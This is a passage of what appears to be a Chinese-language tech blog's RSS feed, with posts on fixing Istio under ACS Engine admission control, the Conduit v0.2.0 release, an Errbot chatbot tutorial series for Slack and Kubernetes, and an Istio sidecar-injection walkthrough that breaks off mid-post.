&lt;p&gt;在 Istio 注入之后，生成的 Init 容器中会有 RunAs 的 SecurityContext，而 ACS Engine 的缺省 admission 包含了&lt;code&gt;SecurityContextDeny&lt;/code&gt;，会拒绝这一选项，造成 Istio Workload 无法运行，&lt;/p&gt;

&lt;p&gt;解决方法很简单，只要在定义文件中修改 api server 配置：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-json&#34;&gt;&amp;quot;properties&amp;quot;: {
  &amp;quot;orchestratorProfile&amp;quot;: {
    &amp;quot;kubernetesConfig&amp;quot;: {
        &amp;quot;apiServerConfig&amp;quot;: {
            &amp;quot;--request-timeout&amp;quot;: &amp;quot;30s&amp;quot;,
            &amp;quot;--admission-control&amp;quot;: &amp;quot;NamespaceLifecycle,LimitRanger,ServiceAccount,DefaultStorageClass,ResourceQuota,DenyEscalatingExec,AlwaysPullImages&amp;quot;
        }

&lt;/code&gt;&lt;/pre&gt;
</description>
    </item>
    
    <item>
      <title>Conduit v0.2.0 发布</title>
      <link>/post/conduit-v0.2-ann/</link>
      <pubDate>Thu, 01 Feb 2018 18:27:52 +0800</pubDate>
      <guid>/post/conduit-v0.2-ann/</guid>
      <description>

&lt;p&gt;原文：&lt;a href=&#34;https://buoyant.io/2018/02/01/announcing-conduit-support-http-1-x-tcp/&#34; target=&#34;_blank&#34;&gt;Announcing Conduit support for HTTP/1.x and TCP&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;里程碑版本，这次发布中新增了对 HTTP/1.x 和 TCP 支持，这样就可以为绝大多数运行在 Kubernetes 上的应用提供支持了。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;数据面

&lt;ul&gt;
&lt;li&gt;Conduit 现在为包括 HTTP/1.x 和 HTTP/2 在内的所有 TCP 流量提供透明代理。&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;控制台界面

&lt;ul&gt;
&lt;li&gt;强化了 &lt;code&gt;tap&lt;/code&gt; 命令的错误处理能力。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;tap&lt;/code&gt; 也提供了对 HTTP/1.x 的支持。&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;Dashboard

&lt;ul&gt;
&lt;li&gt;界面进行了小幅更新。&lt;/li&gt;
&lt;li&gt;可以在 Dashboard 边栏搜索 Deployment。&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;预告&#34;&gt;预告&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Conduit 将会为绝大多数协议提供自动支持，然而使用 WebSockets、HTTP 隧道/代理或者 MySQL、SMTP 等协议，需要一些额外配置，&lt;a href=&#34;https://conduit.io/adding-your-service/#protocol-support&#34; target=&#34;_blank&#34;&gt;文档（注 1）&lt;/a&gt;中会有详细说明。&lt;/li&gt;
&lt;li&gt;Conduit 还不支持外部 DNS。这一缺憾将在未来版本提供支持。&lt;/li&gt;
&lt;li&gt;目前 Conduit 的遥测管线无法扩展到某些节点，后续版本会解决这个问题。&lt;/li&gt;
&lt;li&gt;Conduit 还是 Alpha 阶段，请&lt;a href=&#34;https://github.com/runconduit/conduit/issues/new&#34; target=&#34;_blank&#34;&gt;提交 Issue 或 PR 来支持我们（注 2）&lt;/a&gt;！&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;引用：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;code&gt;https://conduit.io/adding-your-service/#protocol-support&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;https://github.com/runconduit/conduit/issues/new&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
</description>
    </item>
    
    <item>
      <title>Errbot 入门（3）</title>
      <link>/post/errbot-startup-3/</link>
      <pubDate>Tue, 23 Jan 2018 21:29:57 +0800</pubDate>
      <guid>/post/errbot-startup-3/</guid>
      <description>

&lt;h1 id=&#34;errbot-入门-3&#34;&gt;Errbot 入门（3）&lt;/h1&gt;

&lt;h2 id=&#34;通过-errbot-控制-kubernetes&#34;&gt;通过 Errbot 控制 Kubernetes&lt;/h2&gt;

&lt;p&gt;前面两篇分别讲了 Errbot 的简单启动和 Slack 的集成。这一篇做个结尾，用 Errbot 来查询 Kubernetes 的状态。&lt;/p&gt;

&lt;p&gt;之前使用的 Docker 镜像中，已经集成了 Kubernetes 的 Python 客户端，所以这里只要在 Python 中引用，就可以操作了。&lt;/p&gt;

&lt;p&gt;这里实现两个功能，第一个是列出 kubeconfig 文件中的 context，第二个是列出集群 Node 的健康状况。&lt;/p&gt;

&lt;h2 id=&#34;准备工作&#34;&gt;准备工作&lt;/h2&gt;

&lt;p&gt;首先在 Errbot 的加载卷目录中新建目录&lt;code&gt;kubeconfig&lt;/code&gt;，并在其中放置一个可用的 kubeconfig 文件。例如：&lt;/p&gt;

&lt;p&gt;** /usr/local/var/volumes/errbot/kubeconfig/config **&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: v1
kind: Config
clusters:
- cluster:
    certificate-authority: ca-dummy/ca.pem
    server: https://10.211.55.11:6443
  name: default
users:
- name: default
  user:
    client-certificate: ca-dummy/admin.pem
    client-key: ca-dummy/admin-key.pem
contexts:
- context:
    cluster: default
    user: default
  name: default
current-context: default
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;当然，要确保 Errbot 到 Kubernetes 的网络连接是有效的。&lt;/p&gt;

&lt;h2 id=&#34;context-列表&#34;&gt;Context 列表&lt;/h2&gt;

&lt;pre&gt;&lt;code class=&#34;language-python&#34;&gt;from errbot import BotPlugin, botcmd, re_botcmd
import re
from kubernetes import config, client


class Kube(BotPlugin):
  @botcmd
  def context_list(self, msg, args):
      &amp;quot;&amp;quot;&amp;quot; List all contexts in the kubeconfig file.
      &amp;quot;&amp;quot;&amp;quot;
      yield(&amp;quot;Context in the kubeconfig:&amp;quot;)
      for context_name in list_context():
          yield(context_name)


def list_context():
    (context_list, context_current) = config.list_kube_config_contexts(
        &amp;quot;/errbot/kubeconfig/config&amp;quot;)
    result = []
    for context in context_list:
        result.append(context[&amp;quot;name&amp;quot;])
    return result
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;code&gt;import&lt;/code&gt; 部分引入了几个常用的 Bot 开发支持库，以及 Kubernetes API 库。&lt;/p&gt;

&lt;p&gt;接下来创建新的 Bot 插件 &lt;code&gt;Kube&lt;/code&gt;。&lt;/p&gt;

&lt;p&gt;&lt;code&gt;@botcmd&lt;/code&gt; 修饰其中的方法 &lt;code&gt;context_list&lt;/code&gt;，也就是生成了一个 &lt;code&gt;!context list&lt;/code&gt; 命令。&lt;/p&gt;

&lt;p&gt;注释内容会出现在命令列表的说明中。&lt;/p&gt;

&lt;p&gt;内容很简单，调用 kubernetes API 的 &lt;code&gt;config.list_kube_config_contexts&lt;/code&gt; 方法，列出其中所有的 context。&lt;/p&gt;

&lt;p&gt;&lt;code&gt;yield&lt;/code&gt; 在这里用于输出多行数据到聊天室。&lt;/p&gt;

&lt;p&gt;使用 &lt;code&gt;!restart&lt;/code&gt; 命令重启 Bot 之后，输入 &lt;code&gt;!help&lt;/code&gt; 查看我们的插件，会看到列表中多出这样的内容：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;Kube
This is a simple plugin example to get you started.
• !context list - List all contexts in the kubeconfig file.
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;执行 &lt;code&gt;!context list&lt;/code&gt;，Bot 读取配置文件，返回了其中的 Context 名称列表：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;Context in the kubeconfig:
default
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;接下来加入列出 Node，并查看健康状态代码&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-python&#34;&gt;@botcmd(split_args_with=None)
def cluster_health(self, msg, args):
    &amp;quot;&amp;quot;&amp;quot;Simpler checker nodes, pods and workload controllers.
    &amp;quot;&amp;quot;&amp;quot;
    if len(args) != 1:
        yield(&amp;quot;This command need context name as the only parameter.&amp;quot;)
        yield(&amp;quot;Here is the context list:&amp;quot;)
        for context_name in list_context():
            yield(context_name)
        return

    context_name = args[0]
    api_instance = get_instance(context_name)
    node_list = api_instance.list_node()
    # Node
    yield(&amp;quot;Checking Nodes...&amp;quot;)
    for node in node_list.items:
        name = node.metadata.name
        status = &amp;quot;NotReady&amp;quot;
        last_condition = node.status.conditions[-1:][0]
        if (last_condition.type == &amp;quot;Ready&amp;quot; and
                last_condition.status == &amp;quot;True&amp;quot;):
            status = &amp;quot;Ready&amp;quot;
        if status != &amp;quot;Ready&amp;quot;:
            yield(&amp;quot;{} {}\n&amp;quot;.format(name, status))

def get_instance(context_name, api_version=&amp;quot;core_v1&amp;quot;):
    api_client = config.load_kube_config(
        config_file=&amp;quot;/errbot/kubeconfig/config&amp;quot;,
        context=context_name)
    api_instance = client.CoreV1Api(api_client)
    return api_instance

&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;code&gt;@botcmd(split_args_with=None)&lt;/code&gt;，这一注解的意思是对聊天内容进行分拆，分拆产生的列表保存在&lt;code&gt;args&lt;/code&gt; 之中。&lt;/p&gt;

&lt;p&gt;对 Node 的 Status 对象的 Conditions 列表进行解析，如果最后一个状态不是 Ready，则输出不健康 Node。&lt;/p&gt;

&lt;h2 id=&#34;打完收工&#34;&gt;打完收工&lt;/h2&gt;

&lt;p&gt;在我们常见的工作场景中，结合各种系统的 API，可以利用 Errbot 在同一个聊天室中做很多操作，例如：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;触发 Jenkins 构建&lt;/li&gt;
&lt;li&gt;对 ElasticSearch、Zabbix、Prometheus 进行查询&lt;/li&gt;
&lt;li&gt;管理 Kubernetes 负载。&lt;/li&gt;
&lt;li&gt;等等等等。&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;实际上除了这两种看起来比较古板的交流方式之外，还有看起来舒服一点的正则表达式匹配方式，然而，目前更大的热点是 AI，有了这种支持，个人觉得就不必挖空心思的琢磨分词和模式的问题了，做好和第三方的链接就可以了。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Errbot 入门（2）</title>
      <link>/post/errbot-startup-2/</link>
      <pubDate>Thu, 18 Jan 2018 00:25:37 +0800</pubDate>
      <guid>/post/errbot-startup-2/</guid>
      <description>

&lt;p&gt;上一篇中，大致理解了一点 Errbot 的基础指令，这里尝试把 Errbot 接入到聊天室之中。&lt;/p&gt;

&lt;h2 id=&#34;slack-接入&#34;&gt;Slack 接入&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;首先去 &lt;a href=&#34;https://my.slack.com/services/new/bot&#34; target=&#34;_blank&#34;&gt;Slack 网站&lt;/a&gt; 注册一个机器人。&lt;/li&gt;
&lt;li&gt;注册完成后，会得到一个 Token。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;回到 Errbot 的配置文件，下面是一个样例。这里我们设置机器人接收 &amp;ldquo;@dustise&amp;rdquo; 这一 ID 的管理，&lt;code&gt;BOT_IDENTITY&lt;/code&gt; 写入我们刚刚创建的 Bot 账号的 Token：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-python&#34;&gt;import logging

BACKEND = &#39;Slack&#39;

BOT_DATA_DIR = r&#39;/errbot/data&#39;
BOT_EXTRA_PLUGIN_DIR = r&#39;/errbot/plugins&#39;

BOT_LOG_FILE = r&#39;/errbot/errbot.log&#39;
BOT_LOG_LEVEL = logging.WARNING

BOT_ADMINS = (&#39;@dustise&#39;, )  # !! Don&#39;t leave that to &amp;quot;@CHANGE_ME&amp;quot; if you connect your errbot to a chat system !!

BOT_IDENTITY = {
    &#39;token&#39;: &#39;......&#39;,
}

&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;接下来启动机器人，打开 Slack，进入频道，随意&lt;code&gt;@newbot&lt;/code&gt;邀请其加入频道，输入&lt;code&gt;!help&lt;/code&gt;，就能看到机器人输出的帮助指令了。输入&lt;code&gt;!tryme&lt;/code&gt;指令，会看到机器人的回复。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/errbot-slack1.png&#34; alt=&#34;tryme&#34; /&gt;&lt;/p&gt;

&lt;p&gt;如果使用的是 Errbot 指定的管理账号，可通过私聊的方式为其发送&lt;code&gt;!restart&lt;/code&gt;等管理指令。&lt;/p&gt;

&lt;p&gt;在聊天室中输入&lt;code&gt;!whoami&lt;/code&gt;指令，会看到 Errbot 对当前用户的识别情况。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/errbot-slack2.png&#34; alt=&#34;whoami&#34; /&gt;&lt;/p&gt;

&lt;h2 id=&#34;指令&#34;&gt;&lt;code&gt;@&lt;/code&gt; 指令&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;!&lt;/code&gt; 指令一般用于固定格式的命令，而 &lt;code&gt;@&lt;/code&gt; 也就是 &amp;ldquo;Mention&amp;rdquo; 就随意的多了，Errbot 同样提供了这种支持。&lt;/p&gt;

&lt;p&gt;在插件的&lt;code&gt;.py&lt;/code&gt;文件中加入如下方法：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-python&#34;&gt;    def callback_mention(self, message, mentioned_people):
        if self.bot_identifier in mentioned_people:
            self.send(message.frm, &#39;Errbot has been mentioned !&#39;)
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;在私聊窗口输入 &lt;code&gt;!restart&lt;/code&gt; 重新载入 Errbot 之后，在房间中输入 &lt;code&gt;@newbot hello&lt;/code&gt;，会看到 Errbot 在私聊窗口中进行了回复。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Errbot 入门（1）</title>
      <link>/post/errbot-startup-1/</link>
      <pubDate>Thu, 11 Jan 2018 12:08:53 +0800</pubDate>
      <guid>/post/errbot-startup-1/</guid>
      <description>

&lt;h2 id=&#34;简介&#34;&gt;简介&lt;/h2&gt;

&lt;p&gt;ChatBot，也就是聊天机器人，是近期偷偷热起来的东西之一，个人觉得原因很简单——太多系统需要运维了。&lt;/p&gt;

&lt;p&gt;使用 Grafana 可以将各种监控、日志的东西进行跟踪，在同一个 Dashboard 进行展示，但是缺点也比较明显：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Dashboard 需要定制，不够灵活，难于满足突发的个性化需要。&lt;/li&gt;
&lt;li&gt;信息是单向流动的，无法进行远程干预。&lt;/li&gt;
&lt;li&gt;插件开发需要兼顾前后端，前端漂亮的界面对运维来说，并非必要。&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;聊天机器人简单说来是一个需要&lt;strong&gt;很多二次开发&lt;/strong&gt;的控制台，这个控制台的不同之处在于，可以和多种聊天室之类的东西进行集成，另外部分产品提供了认证、授权等功能；另外还有不少开源插件，用来同其他系统进行集成。称为机器人，应该说是一个历史遗留，跟 AI 大概有半毛钱的关系吧。&lt;/p&gt;

&lt;p&gt;目前最流行的同类产品大概是 Github 的 Hubot，不过个人爱好问题，还是选择了 Python 的 Errbot。官方网站 &lt;a href=&#34;http://errbot.io/&#34; target=&#34;_blank&#34;&gt;http://errbot.io/&lt;/a&gt; ，大致功能：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;内置多后端支持：

&lt;ul&gt;
&lt;li&gt;Slack&lt;/li&gt;
&lt;li&gt;Telegram&lt;/li&gt;
&lt;li&gt;XMPP&lt;/li&gt;
&lt;li&gt;IRC&lt;/li&gt;
&lt;li&gt;HipChat&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;第三方后端支持：

&lt;ul&gt;
&lt;li&gt;Skype&lt;/li&gt;
&lt;li&gt;Gitter&lt;/li&gt;
&lt;li&gt;Cisco Spark&lt;/li&gt;
&lt;li&gt;&amp;hellip;&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;内置访问控制&lt;/li&gt;
&lt;li&gt;聊天室支持&lt;/li&gt;
&lt;li&gt;输出模板支持&lt;/li&gt;
&lt;li&gt;本地存储支持&lt;/li&gt;
&lt;li&gt;消息回调功能&lt;/li&gt;
&lt;li&gt;Webhook 支持&lt;/li&gt;
&lt;li&gt;自带文本终端&lt;/li&gt;
&lt;li&gt;&amp;hellip;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;下面会写一点教程，尝试&lt;strong&gt;在 Slack 上，通过 Errbot 来和 Kubernetes 集群进行交互&lt;/strong&gt;。大概分为三部分：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;安装运行和一些基本操作&lt;/li&gt;
&lt;li&gt;Slack 的集成&lt;/li&gt;
&lt;li&gt;插件编写入门&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&#34;安装和运行&#34;&gt;安装和运行&lt;/h2&gt;

&lt;p&gt;安装过程还是有点点烦的，所以我做了个 Docker 镜像，源码见后。&lt;/p&gt;

&lt;p&gt;镜像已经在 DockerHub 上构建，Tag 为 &lt;code&gt;dustise/errbot-image&lt;/code&gt;，简单运行&lt;code&gt;docker run -it --rm dustise/errbot-image&lt;/code&gt;，就进入了文本调试界面，如图所示：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/errbot-startup.png&#34; alt=&#34;startup&#34; /&gt;&lt;/p&gt;

&lt;p&gt;输入&lt;code&gt;!help&lt;/code&gt;（注意，要输入两次回车）会列出当前支持的命令列表。感叹号是 errbot 的命令前缀。输入&lt;code&gt;!shutdown --confirm&lt;/code&gt;，会提示关机字样，errbot 进程退出。&lt;/p&gt;

&lt;p&gt;接下来我们将其中的存储卷进行映射：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-bash&#34;&gt;mkdir -p /var/volume/errbot

docker run -it --rm --name=errbot \
-v /var/volume/errbot:/errbot \
dustise/errbot-image
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;运行之后，我们可以在宿主机系统上看到 errbot 的 Home 文件夹，其中&lt;code&gt;plugins/err-example&lt;/code&gt;中包含了一个样板插件，我们可以查看一下其中的内容：&lt;/p&gt;

&lt;p&gt;** err-example.plug**&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-ini&#34;&gt;[Core]
Name = Example
Module = example

[Documentation]
Description = This is a simple plugin example to get you started.

[Python]
Version = 2+
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;** err-example.py**&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-python&#34;&gt;from errbot import BotPlugin, botcmd
class Example(BotPlugin):
....
    @botcmd  # flags a command
    def tryme(self, msg, args):  # a command callable with !tryme
        return &#39;It *works* !&#39;  # This string format is markdown.
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;字面上看来，这个 Example 中提供了一条叫&lt;code&gt;tryme&lt;/code&gt;的命令，我们回到 bot 控制台，输入&lt;code&gt;!tryme&lt;/code&gt;看一下结果，会发现系统返回了&lt;code&gt;It works&lt;/code&gt;字样。&lt;/p&gt;

&lt;p&gt;接下来我们添加一个新的命令，在 err-example.py 中加入：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-python&#34;&gt;    @botcmd(split_args_with=None)
    def who_are_you(self, msg, args):
       return &amp;quot;you are &amp;quot; + args[0]
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这一个比上面的稍微复杂一些：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;botcmd 的 &lt;code&gt;split_args_with&lt;/code&gt; 代表拆分参数&lt;/li&gt;
&lt;li&gt;函数中的下划线，代表子命令，输入时可以使用&lt;code&gt;!who are you&lt;/code&gt;的形式&lt;/li&gt;
&lt;li&gt;拆分参数的结果，以数组形式保存在 args 中。&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;修改存盘之后，使用&lt;code&gt;!restart&lt;/code&gt;命令重启 errbot。输入&lt;code&gt;!who are you ali&lt;/code&gt;，会看到回显内容：&lt;code&gt;you are ali&lt;/code&gt;。&lt;/p&gt;

&lt;h2 id=&#34;源代码&#34;&gt;源代码&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Dockerfile&lt;/strong&gt;：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-dockerfile&#34;&gt;FROM alpine
COPY prepare.sh /usr/local/bin
ENV CLIENT_VER=&amp;quot;&amp;gt;=3.0.0,&amp;lt;4.0.0&amp;quot;
RUN /usr/local/bin/prepare.sh
WORKDIR /errbot
VOLUME [&amp;quot;/errbot&amp;quot;]
CMD [&amp;quot;/usr/local/bin/entry.sh&amp;quot;]
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;strong&gt;prepare.sh&lt;/strong&gt;：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-bash&#34;&gt;#!/bin/sh
set -xe
env
apk update
apk upgrade
apk add python3
apk add python3-dev musl-dev gcc libffi-dev openssl-dev
pip3 install errbot
pip3 install &amp;quot;kubernetes$CLIENT_VER&amp;quot;
pip3 install sleekxmpp pyasn1 pyasn1-modules irc hypchat \
  slackclient python-telegram-bot prometheus_client

apk del musl-dev gcc libffi-dev --purge

cat &amp;gt;&amp;gt; /usr/local/bin/entry.sh &amp;lt;&amp;lt; EOF
#!/bin/sh
if [ ! -f /errbot/config.py ]; then
    errbot --init
fi
errbot
EOF

chmod a+x /usr/local/bin/entry.sh
&lt;/code&gt;&lt;/pre&gt;
</description>
    </item>
    
    <item>
      <title>企业级容器云架构开发指南</title>
      <link>/publication/9787121346743/</link>
      <pubDate>Mon, 01 Jan 2018 00:00:00 +0000</pubDate>
      <guid>/publication/9787121346743/</guid>
      <description></description>
    </item>
    
    <item>
      <title>Istio 尾行记</title>
      <link>/post/istio-tracker/</link>
      <pubDate>Sat, 30 Dec 2017 17:19:47 +0800</pubDate>
      <guid>/post/istio-tracker/</guid>
      <description>

&lt;p&gt;Istio 一直没有什么像样的更新，Conduit 也迟迟不出来怼，眼看 2017 就要过去，安装试用也不新鲜了，补一篇 Istio 的笔记，算做个收尾了。&lt;/p&gt;

&lt;p&gt;Istio 最大的亮点之一，就是使用 Pilot 将集群控制语言翻译成为 Envoy 配置，利用 Sidecar 的方式对服务通信进行控制，下面就是对这一过程的跟踪尝试。&lt;/p&gt;

&lt;h2 id=&#34;kubectl-apply-f-install-kubernetes-istio-yaml&#34;&gt;&lt;code&gt;kubectl apply -f install/kubernetes/istio.yaml&lt;/code&gt;&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;cat istio.yaml| grep ^kind&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;会看到，这里生成了相当多的内容，除去 Deployment、Service 和 ConfigMap 老几样之外，还有当前集群必须的 RBAC 几要素：Service Account、ClusterRole 以及 ClusterRoleBinding。然后就是 Kubernetes 世界里强力扩展的标志：各种 CRD(CustomResourceDefinition) 了。&lt;/p&gt;

&lt;h2 id=&#34;kubectl-apply-f-install-kubernetes-addons&#34;&gt;&lt;code&gt;kubectl apply -f install/kubernetes/addons/&lt;/code&gt;&lt;/h2&gt;

&lt;p&gt;这里会生成一系列的监控用具，包括了 Prometheus、Grafana、ZipKin 以及 ServiceGraph，原则上这些并非必须组件。不过为了监控方便，一般还是会加上。&lt;/p&gt;

&lt;p&gt;另外这里的 Prometheus 以及 Grafana 的监控、仪表盘配置都可以保存下来，方便同现有设施进行融合。&lt;/p&gt;

&lt;h2 id=&#34;istioctl-kube-inject-f&#34;&gt;&lt;code&gt;istioctl kube-inject -f ...&lt;/code&gt;&lt;/h2&gt;

&lt;h3 id=&#34;运行这个命令之前-务必注意几个对-workload-的要求&#34;&gt;运行这个命令之前，务必注意几个对 Workload 的要求：&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;目前，Pod 对应单一服务的情况才能得到支持。&lt;/li&gt;
&lt;li&gt;服务端口必须命名，[协议]-[后缀] 的方式，后缀部分可以忽略，写一部分可以使用 http, http2, grpc, mongo 以及 redis。如果不进行合理的命名，又没有显示声明这一端口是 UDP 端口，那么就会被当做普通 TCP 端口处理。&lt;/li&gt;
&lt;li&gt;Deployment 需要有 App 标签，注意看示例应用的标签方法。&lt;/li&gt;
&lt;li&gt;目前的缺省安装不支持 &lt;code&gt;cluster.local&lt;/code&gt; 之外的 Kubernetes 域名。&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;在安装好 Istio 之后，一般会使用这一命令对服务进行注入（同样也有自动注入的能力），使之称为被 istio 加持的 Service Mesh 成员服务。注入之后的 YAML 会变得比较丰腴：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;一组注解&lt;/li&gt;
&lt;li&gt;两个 Init&lt;/li&gt;
&lt;li&gt;一个同 Pod 容器&lt;/li&gt;
&lt;li&gt;两个卷&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;下面分别讲解一下多出来的这些部分：&lt;/p&gt;

&lt;h3 id=&#34;annotation&#34;&gt;Annotation&lt;/h3&gt;

&lt;p&gt;为 Deployment 和 Pod 加入了同样的注解：&lt;/p&gt;

&lt;p&gt;&lt;code&gt;sidecar.istio.io/status: injected-version...&lt;/code&gt;，目前理解是，标注了这一部署和 Pod 是否已经被注入，被什么版本注入。&lt;/p&gt;

&lt;h3 id=&#34;init-1&#34;&gt;Init 1&lt;/h3&gt;

&lt;p&gt;使用 Alpine 镜像，设置内核 Dump 模板，以及 ulimit。&lt;/p&gt;

&lt;h3 id=&#34;init-2&#34;&gt;Init 2&lt;/h3&gt;

&lt;p&gt;使用 &lt;code&gt;docker.io/istio/proxy_init:0.4.0&lt;/code&gt; 进行初始化，参数为 &lt;code&gt;-p 15001 -u 1337&lt;/code&gt;&lt;/p&gt;

&lt;h3 id=&#34;sidecar&#34;&gt;Sidecar&lt;/h3&gt;

&lt;p&gt;镜像为： &lt;code&gt;docker.io/istio/proxy_debug:0.4.0&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;其中定义了大量的服务关系，包括：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Istio Pilot&lt;/li&gt;
&lt;li&gt;Zipkin&lt;/li&gt;
&lt;li&gt;Mixer&lt;/li&gt;
&lt;li&gt;管理端口&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&#34;卷&#34;&gt;卷&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;内存卷用于存储配置；&lt;/li&gt;
&lt;li&gt;Secret 卷用于后面的 TLS。&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;运行&#34;&gt;运行&lt;/h2&gt;

&lt;p&gt;利用 &lt;code&gt;kubectlapply -f&lt;/code&gt;，将注入后的 yaml 文件运行起来，接下来就可以使用各个 Pod 来查看刚才注入的内容的行迹了。&lt;/p&gt;

&lt;p&gt;列出 Pod：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;NAME                          READY     STATUS    RESTARTS   AGE
httpbin-7965799df7-ll75q      2/2       Running   0          53m
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;通过前面的 yaml 定义，我们知道这个 Pod 的两个容器分别是 &lt;code&gt;httpbin&lt;/code&gt; 和 &lt;code&gt;istio-proxy&lt;/code&gt;，Istio 强调的是 Sidecar 模式的无侵入管理，因此我们可以认为 &lt;code&gt;httpbin&lt;/code&gt; 是没有变化的，Service Mesh 的 Sidecar 功能会体现在 &lt;code&gt;istio-proxy&lt;/code&gt; 这一容器中。&lt;/p&gt;

&lt;h3 id=&#34;初始化&#34;&gt;初始化&lt;/h3&gt;

&lt;p&gt;上一节中提到了，使用 &lt;code&gt;proxy_init&lt;/code&gt; 进行的初始化（Alpine 部分修改内核参数，就不用多说了），我们可以进入源码，查查他的初始化做了什么。&lt;/p&gt;

&lt;p&gt;Dockerfile 中我们看到，这一容器的入口命令为 &lt;code&gt;istio-start.sh&lt;/code&gt;，找出这个文件，会看到其中使用这两个参数对 iptables 的 nat 部分做了配置，另外还可以看到，其中加入了 iptables 命令，这里我们可以进行验证：&lt;code&gt;kubectl exec httpbin-7965799df7-ll75q -c istio-proxy  sudo iptables-save&lt;/code&gt;，输出内容可以这样解读：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;跳过和 Proxy 进程用户一致的用户进程的流量处理；&lt;/li&gt;
&lt;li&gt;跳过 Loopback 流量处理；&lt;/li&gt;
&lt;li&gt;所有流量转发到 15001 端口。&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;和脚本初始化内容一致。&lt;/p&gt;

&lt;h3 id=&#34;istio-proxy&#34;&gt;istio-proxy&lt;/h3&gt;

&lt;p&gt;启动之后，我们可以使用 &lt;code&gt;kubectl exec -it [httpbin] -c istio-proxy sh&lt;/code&gt; 进入 Proxy 容器，执行命令 &lt;code&gt;ps -ef&lt;/code&gt;，会发现有两个正在运行的进程：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;/usr/local/bin/pilot-agent&lt;/li&gt;
&lt;li&gt;/usr/local/bin/envoy&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;并且 Envoy 的父进程就是这个 pilot-agent。其运行参数和我们前面注入到 YAML 中的参数一致。&lt;/p&gt;

&lt;p&gt;另外还可以查看 &lt;code&gt;/etc/istio/proxy/&lt;/code&gt; 下面的配置文件，可以看出：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Envoy 通过 pilot-agent 传递的参数运行&lt;/li&gt;
&lt;li&gt;服务发现是通过 Pilot 完成的&lt;/li&gt;
&lt;li&gt;Envoy 开放了 15000 端口进行管理&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;验证路由规则&#34;&gt;验证路由规则&lt;/h2&gt;

&lt;p&gt;执行 &lt;code&gt;kubectl exec [Pod] -c istio-proxy curl localhost:15000/routes&lt;/code&gt;&lt;/p&gt;

